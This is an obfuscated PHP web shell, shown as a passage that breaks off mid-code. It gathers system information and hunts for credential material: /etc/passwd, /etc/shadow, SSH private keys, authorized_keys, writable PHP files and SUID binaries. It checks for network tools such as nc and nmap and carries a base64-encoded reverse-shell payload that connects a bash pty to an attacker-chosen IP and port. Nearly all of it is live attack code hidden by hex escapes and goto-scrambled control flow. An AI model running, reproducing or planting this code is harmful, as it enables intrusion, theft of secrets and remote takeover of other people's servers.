BzvNC("\x28\x6e\x65\164\163\164\141\x74\x20\55\x70\165\156\x74\x61\x29\x20\x32\76\57\144\x65\x76\57\x6e\x75\x6c\x6c") . PHP_EOL; goto V9TbP; Vz1SG: $uQQ6n .= ceJhd("\133\151\135\x20\x55\163\x65\x72\x2f\x67\x72\157\165\160\x73\x3a\x20") . BzVnc("\151\x64") . PHP_EOL; goto naF4e; F9QdI: fwrite($uAREj, Rm3UI("\x3d\75\x3d\x3d\x3d\x3d\x3d\x3d\75\75\x3d\75\x3d\75\75\x3d\75\x3d\x3d\x3d\75\x3d\40\x49\x6e\x74\x65\162\145\163\164\x69\x6e\147\40\x62\x69\x6e\x61\162\x69\x65\x73\40\75\75\75\75\75\75\x3d\75\75\75\75\75\x3d\75\75\75\75\x3d\75\75\x3d\x3d\xa\12")); goto vlAYg; ocPNf: $BNiXw = explode("\xa", shell_exec("\146\151\x6e\144\40\57\40\55\x74\171\x70\x65\40\146\40\x2d\156\141\x6d\x65\40\141\165\164\x68\x6f\162\151\x7a\145\144\x5f\x6b\x65\171\x73\40\62\76\57\x64\145\x76\57\x6e\x75\x6c\x6c")); goto HQUVA; cK26g: wcOIn: goto ajKu4; SJlye: $uQQ6n = CEJhD("\133\x69\x5d\40\x49\120\40\x49\x6e\x66\157\x3a\40\12") . BZvnc("\151\x66\x63\157\x6e\146\151\x67") . PHP_EOL; goto nqisi; Xr31C: fwrite($uAREj, rm3UI("\xa\x3d\x3d\x3d\75\75\x3d\75\x3d\75\x3d\x3d\75\75\x3d\75\x3d\x3d\75\75\75\75\x3d\x20\111\x6e\x69\164\x69\141\154\x20\151\156\x66\x6f\40\75\75\75\x3d\75\x3d\x3d\75\75\75\x3d\75\x3d\x3d\75\x3d\75\x3d\75\x3d\x3d\x3d\12\xa")); goto aY_MD; ELvE1: foreach ($V7Hqq as $udiWU) { goto G8x11; QKvG5: fwrite($uAREj, BZVnc("\154\x73\x20\55\x6c\40{$udiWU}")); goto pPT0h; G8x11: if (!($udiWU !== '')) { goto kl1Ti; } goto QKvG5; sqGDX: Y6r5Z: goto LbKZK; pPT0h: kl1Ti: goto sqGDX; LbKZK: } goto tDjFl; ApGCi: $uQQ6n .= ceJhd("\133\x69\135\x20\x52\x41\115\x3a\40\12") . bzVnC("\x63\x61\164\40\57\x70\162\x6f\143\x2f\x6d\x65\155\x69\156\x66\157\x20\x7c\x20\145\x67\162\x65\160\40\55\x69\40\x27\50\155\145\x6d\164\x6f\164\x61\x6c\x7c\155\x65\155\x66\x72\145\x65\x29\x27"); goto M60oU; aP9yF: $uQQ6n .= cEjHD("\x5b\x69\x5d\x20\x4b\x65\x72\156\x65\154\72\x20") . BzvNc("\x75\156\141\x6d\x65\x20\55\141"); goto ZWBLt; BKfj7: $uQQ6n .= cejhD("\x5b\151\135\40\103\x72\157\x6e\164\141\x62\x20\157\x66\40\x63\x75\162\x72\x65\x6e\x74\x20\165\163\x65\162\x3a\x20\xa") . bzvNc("\x63\x72\x6f\156\164\x61\x62\x20\55\x6c\x20\174\x20\145\x67\162\145\x70\x20\55\166\x20\x27\x5e\x23\47") . PHP_EOL; goto M3Mjq; NnvwL: fwrite($uAREj, rm3uI("\12\75\x3d\x3d\75\x3d\75\x3d\75\x3d\x3d\75\75\x3d\75\x3d\75\75\75\x3d\40\x57\162\151\164\141\x62\x6c\x65\40\x50\x48\x50\x20\146\151\154\145\x73\40\75\75\75\x3d\75\x3d\75\x3d\x3d\75\x3d\75\75\75\x3d\x3d\x3d\75\75\xa\12")); goto CJiHE; M60oU: $uQQ6n .= CEjHd("\x5b\x69\x5d\40\123\x75\x64\157\40\x76\145\x72\163\151\157\156\72\x20") . BZVNC("\163\x75\144\x6f\40\x2d\55\166\x65\162\x73\151\157\156\40\174\x20\147\x72\145\160\40\47\x53\165\144\157\40\x76\145\162\163\x69\157\156\x27\x20\174\40\143\165\x74\x20\x2d\144\x27\40\47\40\55\x66\x20\63"); goto Vz1SG; uW5HR: if (count($BJg1i) > 25) { goto FVnNa; } goto IXT_h; zpHeA: $MODFS++; goto Z0uXV; nakel: $uQQ6n .= cEjHD("\x5b\151\x5d\x20\x55\163\x65\162\x73\x20\x69\x6e\x20\57\x68\157\x6d\145\72\40\12") . bzvNc("\154\x73\x20\57\x68\x6f\x6d\x65") . PHP_EOL; goto BKfj7; hd3pK: FVnNa: goto uyROV; naF4e: $uQQ6n .= cEJHd("\x5b\151\x5d\x20\101\x63\164\151\166\145\40\124\x54\x59\x3a\40\xa") . BZVNC("\x77") . PHP_EOL; goto Y1DV_; bJeE_: binhm: goto cY8oC; aBsvO: global $uAREj; goto Xr31C; zF01j: if (!is_readable("\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\157\167")) { goto a4Mpd; } goto KZ5c5; DN34M: fwrite($uAREj, bzVNC("\x63\141\x74\x20\57\145\x74\x63\x2f\160\x61\x73\x73\x77\x64") . PHP_EOL); goto zF01j; IXT_h: foreach ($BJg1i as $cPjcu) { goto KPsrS; KPsrS: if (!($cPjcu !== '')) { goto tXW7I; } goto FN2cJ; jB3Y_: mgFRw: goto qwU0d; BXotd: tXW7I: goto jB3Y_; FN2cJ: fwrite($uAREj, LZmTI("\x5b\127\x72\151\164\141\x62\154\x65\135\x20") . $cPjcu . PHP_EOL); goto BXotd; qwU0d: } goto NvbHy; V9TbP: fwrite($uAREj, $uQQ6n); goto F9QdI; OLJ4S: $uQQ6n .= cEJhD("\133\151\135\40\x49\120\x20\124\141\x62\x6c\x65\163\40\162\165\x6c\145\163\x3a\x20\12") . BzvNc("\x28\x69\160\x74\141\142\x6c\145\x73\40\55\55\154\x69\x73\164\x2d\162\x75\154\145\x73\x20\62\x3e\x2f\x64\145\x76\57\x6e\x75\154\154\x29") . PHP_EOL; goto STylR; npXOz: fwrite($uAREj, "\x2e\x2e\56\xa\x2e\56\x2e" . PHP_EOL); goto ac_4I; dcPiw: fwrite($uAREj, Rm3uI("\x3d\75\x3d\x3d\x3d\75\x3d\75\75\x3d\75\75\x3d\75\75\x3d\75\x3d\75\x3d\75\x3d\40\101\154\154\40\165\163\145\162\163\40\x3d\75\x3d\x3d\75\x3d\75\75\x3d\75\75\x3d\x3d\x3d\75\x3d\x3d\75\75\x3d\x3d\x3d\12\12")); goto DN34M; aY_MD: $uQQ6n = CejHd("\x5b\x69\x5d\40\x4f\x53\40\151\x6e\146\157\72\12") . BzvnC("\x6c\x73\142\137\162\x65\x6c\x65\141\x73\x65\40\55\141\40\x7c\40\x67\x72\145\x70\x20\x2d\166\40\x27\x4e\157\x20\114\x53\102\x27") . PHP_EOL; goto IDOBC; AzJ1p: $uQQ6n = CejHd("\133\151\135\40\x43\165\x72\162\145\156\164\40\165\163\x65\162\72\x20") . BzVnC("\x77\150\157\141\x6d\151"); goto nakel; ZWBLt: $uQQ6n .= cejhd("\133\151\135\40\103\120\125\x3a\x20\xa") . BZVnc("\x63\141\x74\40\57\160\x72\157\x63\57\143\160\x75\x69\x6e\x66\157\40\x7c\x20\147\162\145\160\40\55\151\40\x27\x6d\x6f\x64\145\154\40\156\x61\x6d\x65\x27\x20\x7c\x20\143\x75\164\40\55\144\47\72\47\40\55\x66\40\62\40\x7c\x20\x73\x65\144\40\x27\x73\57\x5e\x20\x2a\57\57\x67\x27"); goto ApGCi; NvbHy: Rxyvu: goto fh86I; AEb4m: ohbBc: goto zpHeA; bQdD6: $uQQ6n .= CEJhD("\133\151\x5d\x20\111\156\x74\x65\x72\146\141\x63\x65\x73\57\x72\157\165\x74\145\163\72\40\xa") . bzVnc("\x63\x61\x74\x20\x2f\x65\164\143\x2f\x6e\x65\x74\167\x6f\162\x6b\x73\x20\46\46\40\x72\157\x75\x74\x65") . PHP_EOL; goto OLJ4S; X7WJl: tXbAZ: goto npXOz; dMwIA: foreach ($y9OB0 as $JeTvK) { $BJg1i = array_merge($BJg1i, explode("\xa", shell_exec("\x66\x69\x6e\144\x20" . $JeTvK . "\x20\x2d\164\171\x70\145\x20\x66\x20\x2d\156\x61\155\145\x20\47\52\x2e\160\x68\160\x2a\x27\40\x2d\x77\x72\151\x74\x61\142\154\x65\40\x32\x3e\57\144\145\166\57\156\x75\x6c\154"))); THpgH: } goto soFtW; Qp2lF: foreach ($U9mbi as $zM1IY) { goto FOhjw; tUfuz: C8qVs: goto lUUOx; vF9ji: fwrite($uAREj, $zM1IY . PHP_EOL); goto QX5rz; lUUOx: JnOF_: goto g95Zv; Nk1Cb: fwrite($uAREj, lzMTi("\133\122\145\x61\144\141\142\154\145\x5d\40") . $zM1IY . PHP_EOL); goto tUfuz; X0YaK: B1xIO: goto Nk1Cb; FOhjw: if (is_readable($zM1IY)) { goto B1xIO; } goto vF9ji; QX5rz: goto C8qVs; goto X0YaK; g95Zv: } goto hHtkD; DH9XV: $U9mbi = explode("\12", shell_exec("\146\x69\156\144\x20\57\40\x2d\164\171\x70\145\x20\x66\40\55\x6e\141\x6d\x65\x20\x69\144\x5f\x72\x73\x61\40\62\x3e\x2f\144\x65\166\x2f\156\x75\x6c\x6c")); goto Qp2lF; kSCq4: fwrite($uAREj, LzMti("\133\x57\162\x69\164\x61\x62\x6c\145\x5d\x20") . $BJg1i[$MODFS] . PHP_EOL); goto cDKYN; n875k: fwrite($uAREj, rM3ui("\xa\75\x3d\75\75\x3d\x3d\x3d\x3d\75\x3d\75\75\75\x3d\75\x3d\75\75\x3d\x3d\x3d\x3d\x20\123\x55\x49\x44\40\142\x69\x6e\x61\x72\x69\145\163\40\x3d\x3d\75\75\x3d\x3d\75\75\75\75\x3d\x3d\75\75\x3d\x3d\x3d\x3d\75\x3d\x3d\75\12\12")); goto OA5NM; hHtkD: yc5Bo: goto NnvwL; fh86I: goto wcOIn; goto hd3pK; Z0uXV: goto binhm; goto X7WJl; xZ2Pv: foreach ($y2rCf as $GdX64) { goto CRn3F; v9am4: qP4MH: goto v99DU; lWeW3: fwrite($uAREj, bZvNc("\154\x73\40\55\154\x20{$GdX64}")); goto v9am4; CRn3F: $GdX64 = shell_exec("\x77\x68\x69\143\150\x20{$GdX64}\x20\62\x3e\x2f\144\x65\x76\x2f\x6e\165\x6c\154"); goto ue8dF; v99DU: VCa9z: goto odcbk; ue8dF: if (!($GdX64 !== '' && base64_encode($GdX64 . PHP_EOL) !== "\103\147\75\75")) { goto qP4MH; } goto lWeW3; odcbk: } goto rlftN; LJLBN: fwrite($uAREj, rM3Ui("\75\x3d\x3d\x3d\75\75\75\x3d\x3d\x3d\x3d\75\x3d\75\x3d\75\x3d\x3d\75\75\x3d\x3d\40\x55\163\x65\x72\163\x20\x69\156\146\x6f\40\x3d\75\75\75\x3d\75\75\x3d\x3d\x3d\x3d\x3d\75\75\75\x3d\75\x3d\75\75\75\x3d\12\12")); goto AzJ1p; J2t5P: if (!($BJg1i[$MODFS] !== '')) { goto VTV26; } goto kSCq4; IZq61: fwrite($uAREj, $uQQ6n); goto dcPiw; ajKu4: fwrite($uAREj, CEJhd("\12\133\x69\135") . "\x20\107\145\x74\40\155\x6f\x72\x65\40\151\x6e\x66\157\162\x6d\141\x74\x69\x6f\156\40\x77\x69\x74\150\40\41\x65\156\x75\155\56" . PHP_EOL); goto E46c5; IDOBC: $uQQ6n .= CEJHD("\x5b\x69\x5d\x20\110\157\163\164\x6e\x61\155\x65\72\x20") . BzVNc("\x68\157\163\x74\156\x61\x6d\x65"); goto aP9yF; Y1DV_: fwrite($uAREj, $uQQ6n); goto LJLBN; vlAYg: $y2rCf = array("\x6e\143", "\x6e\143\x2e\x74\162\x61\144\x69\x74\x69\x6f\156\x61\x6c", "\x6e\x63\x61\x74", "\156\x6d\x61\160", "\x70\145\162\154", "\160\171\164\150\157\x6e", "\160\x79\x74\x68\157\x6e\x32", "\x70\171\x74\x68\x6f\156\62\x2e\66", "\160\x79\164\x68\157\x6e\x32\56\67", "\160\x79\x74\150\157\x6e\x33", "\x70\171\164\x68\157\x6e\x33\x2e\66", "\x70\171\x74\150\157\156\63\x2e\67", "\x72\x75\142\171", "\156\157\144\145", "\x67\143\x63", "\147\53\53", "\x64\157\x63\x6b\145\x72", "\x70\150\x70"); goto xZ2Pv; cDKYN: VTV26: goto AEb4m; rlftN: eEvy7: goto n875k; nqisi: $uQQ6n .= CEJHd("\x5b\151\x5d\40\110\x6f\x73\x74\x73\x3a\40\xa") . bZvnc("\x63\141\164\40\x2f\145\x74\143\57\150\157\163\x74\x73\x20\174\x20\x67\x72\x65\160\x20\55\x76\40\x27\x5e\x23\47") . PHP_EOL; goto bQdD6; E46c5: } goto zRArR; yAdGD: if ($argc >= 2 && preg_match("\57\x5e\x5b\60\x2d\x39\135\x2b\44\57", $argv[$argc - 1])) { goto ePmbN; } goto sGI8N; KfakJ: $BqeWQ = true; goto sqHw3; wb4ms: W5qCe: goto Bw2dj; w5lY4: function eFz2Z($lzSPu = '') { goto L1ngE; Dl3hH: $abTAl = base64_encode(str_replace("\111\120\x5f\x41\104\104\x52", $Wl17t, str_replace("\x50\x4f\122\124", $JKOaQ, base64_decode($R36Nt)))); goto NWqpF; s1nCF: jb70x: goto Yldvh; qotAN: if (!(strlen($lzSPu) > 1 && strlen($lzSPu) > 0)) { goto zjI9P; } goto JRg5P; H4Dzp: dnxjM: goto TzPVk; bqsge: fwrite($uAREj, lzmtI("\133\55\x5d") . "\x20\120\157\x72\164\x20\155\x75\x73\164\x20\142\145\40\x62\145\164\x77\x65\x65\x6e\40\x30\x2d\66\x35\65\x33\65\x2e\xa\103\150\x6f\x6f\x73\145\x20\141\156\157\x74\x68\x65\x72\x20\x70\157\162\x74\72\x20"); goto PhUcT; KWLbp: shell_exec("\145\143\150\x6f\40" . $abTAl . "\174\x20\142\141\163\145\66\x34\40\x2d\144\40\174\x20\160\150\160\x20\55\x72\x20\x27\x24\x73\x74\144\x69\156\75\146\x69\154\x65\x28\42\160\x68\x70\x3a\x2f\x2f\x73\x74\144\x69\x6e\x22\51\x3b\145\166\141\x6c\50\x24\x73\x74\144\x69\x6e\133\x30\x5d\51\x3b\47"); goto bln77; OwELa: if (!($bNZa2 = fread($uAREj, 8))) { goto jb70x; } goto eE17k; c4VjA: return; goto ELTtI; c7ZSb: zjI9P: goto ojN1r; mFeoJ: $KSA6N = $eMd2e[1]; goto J6bFk; PhUcT: zM8_N: goto H4Dzp; StiDP: $eMd2e = explode("\72", $lzSPu); goto A4HBx; NWqpF: fwrite($uAREj, uIh9I("\x5b\x69\x5d") . "\40\124\x72\x79\x69\156\x67\x20\x74\x6f\x20\143\157\x6e\156\x65\x63\x74\40\x74\x6f\40{$Wl17t}\x3a{$JKOaQ}\12"); goto lzRhx; ojN1r: fwrite($uAREj, UiH9i("\x5b\151\x5d") . "\x20\123\145\164\40\165\160\40\x61\40\154\151\x73\x74\145\156\145\x72\x20\157\156\40\141\156\x6f\164\150\x65\x72\x20\x70\x6f\162\164\x20\x28\x6e\143\40\x2d\x6c\156\166\160\40\74\x70\x6f\x72\x74\76\x29\40\141\x6e\x64\40\x70\x72\145\163\x73\x20\105\116\x54\x45\122\56\xa\103\x68\x6f\x6f\163\x65\40\x61\x20\160\x6f\x72\x74\72\40"); goto ksjUb; EloAL: BZvNc("\x74\151\155\x65\x6f\165\x74\40\55\55\x6b\151\x6c\154\55\x61\x66\x74\145\x72\40\x30\40\x31\40\x77\147\145\x74\40\55\x2d\160\157\x73\x74\55\144\x61\x74\141\x3d\42\x78\x3d{$Wl17t}\72{$JKOaQ}\x26\163\164\141\x62\x69\154\151\172\145\x3d\x31\42\x20{$RlFkX}\40\76\40\57\144\x65\166\57\156\x75\x6c\154"); goto c4VjA; bln77: return; goto c7ZSb; JRg5P: echo $lzSPu; goto StiDP; gw9Bk: hDG7Q: goto bqsge; TzPVk: goto ZwwqJ; goto s1nCF; f0Xdb: $RlFkX = $_SERVER["\x52\105\x51\x55\105\x53\x54\137\x53\x43\x48\105\x4d\105"] . "\x3a\x2f\x2f" . $_SERVER["\110\x54\124\120\137\x48\x4f\x53\x54"] . $_SERVER["\x52\105\121\125\x45\x53\124\137\x55\122\x49"]; goto EloAL; J6bFk: $abTAl = base64_encode(str_replace("\111\120\x5f\101\x44\x44\122", $bSx83, str_replace("\x50\117\122\124", $KSA6N, base64_decode($R36Nt)))); goto KWLbp; eE17k: if (!(strlen($bNZa2) > 0)) { goto dnxjM; } goto o0hP4; L1ngE: global $uAREj, $CjcQS, $Wl17t; goto U2B6Q; U2B6Q: $R36Nt = "\112\110\x4e\x6a\143\155\x6c\167\144\x44\x31\172\141\107\126\163\142\x46\x39\x6c\x65\x47\126\x6a\x4b\103\x4a\63\141\107\154\x6a\x61\x43\102\172\131\x33\x4a\x70\x63\110\x51\151\113\124\x73\x6b\143\110\x6b\x7a\x50\x58\116\157\x5a\x57\x78\163\130\x32\x56\64\x5a\x57\x4d\157\x49\156\144\x6f\141\127\x4e\x6f\x49\x48\102\65\x64\107\x68\166\142\x6a\x4d\x69\113\x54\163\153\143\x48\153\x39\143\62\x68\154\142\x47\x78\x66\x5a\130\x68\154\x59\x79\147\151\144\62\150\160\131\x32\x67\147\143\x48\154\x30\x61\x47\x39\165\111\x69\x6b\x37\141\x57\x59\157\143\63\122\171\142\107\x56\x75\x4b\x43\122\x7a\131\x33\x4a\x70\143\110\121\x70\x50\x6a\131\x67\x4a\151\131\x67\x63\63\x52\x79\143\107\x39\172\113\103\122\172\131\x33\x4a\x70\x63\110\x51\163\x49\x6d\x35\166\144\x43\102\x6d\x62\x33\x56\165\132\x43\x49\160\120\x54\61\x6d\x59\x57\170\172\132\123\153\147\x4a\110\116\x30\131\127\x4a\x70\x62\x47\x6c\66\132\130\x49\71\111\x69\71\x69\x61\x57\x34\166\131\x6d\x46\172\141\103\x41\x74\131\62\153\147\x4a\x79\111\x75\x4a\x48\116\x6a\x63\x6d\154\167\144\x43\64\151\x49\103\61\170\131\x79\x41\166\x59\155\154\165\114\62\112\x68\143\62\147\x67\114\x32\x52\x6c\144\151\71\x75\x64\x57\x78\163\112\x79\111\67\132\127\170\172\132\x53\x42\160\132\x69\x68\x7a\144\110\x4a\x73\132\x57\64\x6f\x4a\110\x42\65\115\x79\153\x2b\x4e\x79\101\155\112\x69\102\x7a\144\110\x4a\x77\142\x33\115\x6f\x4a\110\116\152\x63\155\x6c\167\x64\103\167\151\x62\x6d\x39\60\111\x47\132\x76\144\127\65\153\x49\x69\x6b\71\x50\127\x5a\x68\142\110\116\154\x4b\x53\101\x6b\x63\63\122\150\x59\x6d\154\163\141\130\160\x6c\x63\152\60\x6b\x63\110\153\x7a\114\x69\111\147\114\127\115\147\x4a\62\x6c\164\x63\x47\71\x79\144\103\x42\x77\144\x48\153\67\x63\110\122\x35\x4c\156\x4e\167\x59\x58\x64\x75\x4b\106\x77\151\114\62\x4a\160\142\x69\x39\x69\131\130\116\157\x58\103\x49\160\x4a\171\x49\x37\132\x57\x78\x7a\132\123\x42\x70\x5a\151\150\x7a\x64\x48\112\x73\132\127\x34\157\x4a\x48\102\x35\113\x54\64\x32\111\x43\x59\155\x49\x48\x4e\60\x63\156\x42\166\143\x79\147\x6b\143\x32\116\x79\141\x58\x42\60\x4c\103\x4a\x75\142\x33\121\x67\x5a\x6d\x39\61\x62\155\x51\151\x4b\x54\x30\x39\x5a\x6d\x46\x73\143\x32\x55\160\x49\x43\x52\172\144\107\106\151\x61\127\x78\x70\145\x6d\126\171\120\123\x52\x77\x65\123\x34\151\x49\103\x31\x6a\x49\103\x64\160\x62\x58\102\x76\143\156\121\147\x63\110\122\x35\x4f\63\102\x30\x65\123\x35\x7a\143\x47\106\63\142\x69\150\x63\x49\x69\x39\x69\x61\127\64\x76\131\155\106\172\x61\106\x77\x69\x4b\x53\x63\x69\x4f\x32\x56\x73\143\x32\x55\x67\112\110\116\x30\131\127\x4a\160\142\107\x6c\x36\x5a\130\x49\x39\x49\151\71\x69\141\127\x34\166\x59\x6d\106\x7a\x61\x43\111\x37\112\110\116\60\x59\x57\x4a\x70\142\x47\154\x36\132\x58\x49\71\x63\63\122\171\x58\63\x4a\x6c\x63\x47\170\150\x59\x32\125\157\x49\x6c\x78\x75\x49\x69\x77\151\111\151\167\x6b\143\63\x52\150\131\x6d\x6c\x73\x61\130\x70\x6c\x63\151\153\67\x4a\x48\116\157\x5a\x57\170\x73\120\123\x4a\x31\x62\155\106\x74\132\123\101\x74\131\124\163\x6b\x63\63\122\x68\x59\155\154\163\141\x58\160\x6c\x63\151\x49\67\144\127\x31\150\143\x32\x73\x6f\115\x43\x6b\x37\x4a\110\116\166\131\x32\x73\x39\x5a\x6e\x4e\x76\x59\62\x74\x76\143\107\126\165\113\x43\112\112\125\106\x39\102\122\105\x52\123\111\151\x78\121\124\x31\112\x55\114\103\x52\x6c\143\x6e\x4a\165\142\x79\167\153\x5a\130\112\x79\143\x33\x52\x79\x4c\104\x4d\167\x4b\x54\x73\x6b\x63\63\x52\x6b\120\127\106\x79\x63\x6d\106\65\113\x43\x41\x77\111\x44\x30\x2b\111\107\106\171\x63\155\106\65\113\103\112\x77\141\130\x42\x6c\111\151\167\x69\143\151\111\160\114\104\x45\147\120\124\64\x67\131\130\112\171\x59\130\x6b\x6f\x49\x6e\102\x70\143\x47\x55\x69\114\x43\x4a\63\111\151\x6b\x73\x4d\x69\101\71\x50\151\102\x68\143\156\x4a\150\145\123\147\x69\x63\x47\x6c\167\x5a\x53\111\163\x49\156\x63\x69\113\x53\x41\x70\x4f\x79\122\x77\x63\155\x39\x6a\x5a\x58\x4e\x7a\x50\130\x42\171\x62\x32\x4e\x66\x62\x33\x42\154\142\151\147\x6b\x63\62\150\x6c\x62\x47\167\163\x4a\x48\116\x30\132\x43\x77\153\143\x47\154\x77\132\x58\x4d\x70\117\x32\132\166\143\155\126\x68\x59\62\x67\x6f\112\x48\102\x70\x63\x47\x56\172\111\x47\106\x7a\111\103\122\167\113\x53\102\172\144\110\x4a\154\131\x57\61\x66\143\62\x56\x30\x58\x32\112\163\142\62\x4e\x72\141\x57\x35\156\113\103\122\167\114\104\101\160\117\63\116\60\x63\155\x56\x68\142\126\71\x7a\x5a\130\122\146\131\155\x78\x76\131\62\x74\160\142\155\x63\x6f\x4a\x48\x4e\166\131\62\163\163\115\103\x6b\67\144\x32\x68\x70\x62\x47\x55\157\x49\127\132\x6c\142\x32\131\157\x4a\110\116\x76\131\62\163\160\113\x58\x73\153\x63\155\x56\150\132\x46\x39\x68\120\127\106\x79\x63\x6d\x46\x35\x4b\103\122\172\142\x32\116\162\114\x43\122\167\141\x58\x42\x6c\x63\x31\x73\x78\x58\123\167\x6b\143\107\154\167\132\130\x4e\142\x4d\154\60\x70\x4f\x32\x6c\155\113\x47\154\165\130\62\x46\171\x63\155\106\x35\x4b\103\122\x7a\142\62\x4e\x72\114\103\122\171\132\127\x46\153\130\62\x45\x70\113\123\102\155\144\x33\x4a\160\144\107\125\157\112\x48\102\x70\143\x47\126\x7a\x57\x7a\102\x64\x4c\x47\132\171\x5a\127\106\x6b\113\103\x52\172\142\62\116\x72\x4c\104\111\167\x4e\104\x67\x70\x4b\x54\x74\160\x5a\x69\x68\160\x62\154\x39\x68\x63\156\112\x68\x65\123\147\153\143\107\x6c\x77\x5a\130\x4e\142\115\126\x30\x73\112\110\x4a\154\x59\127\x52\146\x59\x53\x6b\160\111\107\132\63\x63\x6d\x6c\60\x5a\x53\x67\153\x63\x32\x39\x6a\x61\x79\170\155\143\155\x56\150\132\x43\147\x6b\x63\x47\154\167\x5a\x58\x4e\x62\x4d\126\60\163\x4d\152\x41\60\117\x43\153\x70\x4f\62\154\x6d\x4b\x47\x6c\165\130\x32\106\x79\143\155\x46\x35\113\103\x52\167\x61\130\102\x6c\143\x31\163\171\130\x53\167\153\143\155\126\x68\x5a\x46\x39\150\113\x53\153\147\132\x6e\144\x79\141\x58\x52\x6c\x4b\x43\x52\172\x62\62\x4e\162\114\107\x5a\x79\x5a\127\106\x6b\x4b\x43\x52\167\141\x58\x42\x6c\143\x31\163\x79\x58\x53\x77\171\x4d\104\121\64\x4b\x53\x6b\x37\x66\123\102\x6d\131\62\x78\x76\143\x32\125\157\x4a\x48\116\x76\131\62\163\x70\117\x32\x5a\166\x63\155\126\150\131\62\147\157\x4a\110\x42\160\x63\107\x56\x7a\x49\107\106\x7a\111\103\122\167\x4b\x53\102\155\x59\x32\x78\166\143\62\125\157\112\110\101\160\117\x33\102\x79\x62\62\116\146\131\x32\x78\166\143\62\x55\x6f\x4a\x48\102\171\142\62\116\x6c\x63\x33\115\160\x4f\167\x3d\75"; goto qotAN; AH_PT: if ($JKOaQ > 65535 || $JKOaQ == 0) { goto hDG7Q; } goto Dl3hH; ksjUb: ZwwqJ: goto OwELa; hs6tD: pclose(popen("\x65\143\150\x6f\x20" . $abTAl . "\174\40\142\x61\x73\x65\x36\64\40\55\144\x20\174\40\160\x68\160\x20\x2d\x72\x20\47\x24\x73\164\x64\x69\x6e\75\x66\151\154\145\x28\42\x70\150\160\x3a\57\x2f\163\x74\x64\151\x6e\x22\51\73\145\x76\141\154\50\x24\163\164\x64\x69\x6e\133\60\135\x29\x3b\47\40\x26", "\x72")); goto T1bnR; o0hP4: $JKOaQ = (int) $bNZa2; goto AH_PT; T1bnR: return; goto dDdFP; ELTtI: goto zM8_N; goto gw9Bk; A4HBx: $bSx83 = $eMd2e[0]; goto mFeoJ; lzRhx: if (!(hHlP3("\x70\157\160\x65\156") && HHLP3("\x70\x63\154\157\x73\x65"))) { goto kLOAn; } goto hs6tD; dDdFP: kLOAn: goto f0Xdb; Yldvh: } goto nay2i; sqHw3: BLOlo: goto veAgt; sH3qR: MNvlR: goto hfSnH; CzWyS: goto jF4yA; goto QnZ0K; eTL8h: $CjcQS = 7359; goto GnTs_; Ez5vo: EFz2z($fOhjn); goto lA80q; Rp7Lu: ePmbN: goto UgTp6; yJZWv: function bzvNC($bNZa2) { goto R61d1; lU3t_: qO_b0: goto GmO3f; Pe8m6: $XM61M = ob_get_contents(); goto tCeFs; hVHQt: if (hhlp3("\x73\x68\x65\154\154\x5f\145\170\x65\143")) { goto LofTK; } goto U7bXs; z42OD: KWQnf: goto BS0Ur; Wz0Dk: PhND1: goto yfG4b; s9Zs_: $XM61M = NULL; goto DjPs3; IBbJQ: if (HhLP3("\145\170\145\x63")) { goto yilPl; } goto hVHQt; Zq54n: if (hhlp3("\163\171\163\x74\x65\x6d")) { goto WG2Ve; } goto Eo_6D; y9J3w: WG2Ve: goto aOj6h; EdvJA: yilPl: goto NCt80; K3u7a: $XM61M = NULL; goto lkEuf; NCt80: $XM61M = array(); goto WEhIO; R61d1: $bNZa2 = $bNZa2 . "\x20\62\76\46\x31\12"; goto IBbJQ; Dfpnd: uZ_15: goto pu2bX; DjPs3: t5Iso: goto LweR9; CzfVP: BODFw: goto HVdiL; GmO3f: goto FAyfS; goto EdvJA; lkEuf: if (!is_resource($va7Pj)) { goto JsgcR; } goto z42OD; vReFE: goto KWQnf; goto J4Ri5; Jx9r7: if (hhLp3("\160\x61\163\x73\x74\x68\162\165")) { goto aUfFX; } goto JZNUn; Yllqh: passthru($bNZa2); goto ZA7gG; moAFH: aUfFX: goto zri6M; NV_uh: s8hwa: goto RazsR; UkLfc: Kh7eL: goto Iffx2; U7bXs: if (hhlP3("\x70\x6f\x70\145\x6e")) { goto BODFw; } goto Jx9r7; tgUM6: Ol0tC: goto DS5BC; KAF8c: goto t5Iso; goto tgUM6; k1Dcs: TIbaB: goto MZmJR; zri6M: ob_start(); goto Yllqh; bsIQK: FAyfS: goto Q7552; i9SHZ: ob_end_clean(); goto NV_uh; Q7552: return $XM61M; goto XUx0h; YBEQp: JsgcR: goto ez5Mq; LweR9: if (feof($yExLz[1])) { goto Ol0tC; } goto SByQ7; jCWqJ: system($bNZa2); goto Pe8m6; z4xLY: goto TIbaB; goto y9J3w; HVdiL: $va7Pj = popen($bNZa2, "\x72"); goto K3u7a; WEhIO: exec($bNZa2, $XM61M); goto EmQiz; BS0Ur: if (feof($va7Pj)) { goto LmqFj; } goto AQKSY; tCeFs: ob_end_clean(); goto k1Dcs; ZA7gG: $XM61M = ob_get_contents(); goto i9SHZ; MZmJR: goto Kh7eL; goto Dfpnd; fSfJg: $XM61M = shell_exec($bNZa2); goto lU3t_; Eo_6D: $XM61M = 0; goto z4xLY; EmQiz: $XM61M = join(chr(10), $XM61M) . chr(10); goto bsIQK; ez5Mq: @pclose($va7Pj); goto Wz0Dk; JZNUn: if (hHlP3("\x70\x72\x6f\143\x5f\157\x70\x65\x6e")) { goto uZ_15; } goto Zq54n; AQKSY: $XM61M .= fread($va7Pj, 1024); goto vReFE; SByQ7: $XM61M .= fread($yExLz[1], 1024); goto KAF8c; J4Ri5: LmqFj: goto YBEQp; JBh_s: LofTK: goto fSfJg; yfG4b: goto qO_b0; goto JBh_s; RazsR: goto PhND1; goto CzfVP; pu2bX: $fj7gd = proc_open($bNZa2, array(array("\x70\x69\x70\145", "\162"), array("\160\151\x70\145", "\167"), array("\x70\151\160\145", "\x77")), $yExLz); goto s9Zs_; DS5BC: @proc_close($fj7gd); goto UkLfc; aOj6h: ob_start(); goto jCWqJ; Iffx2: goto s8hwa; goto moAFH; XUx0h: } goto hT16v; VhKuY: function plGIc() { goto xOd1c; Xaib_: taOIh: goto rIjIf; i9cqp: goto WsiD1; goto StVO3; H5lry: switch (substr($MnrhX, 0, -1)) { case "\61": goto jUOqD; r3OYd: wu9hp($i2CI7); goto eTpIA; jUOqD: fwrite($uAREj, cEjHd("\x5b\52\x5d\x20") . "\103\x68\157\x6f\163\x65\x20\164\150\x65\40\156\145\167\40\x70\x61\163\x73\x77\157\162\144\72\x20"); goto BrDIK; eTpIA: return; goto dCHP1; n1JyB: if (!($LX188 = fread($uAREj, 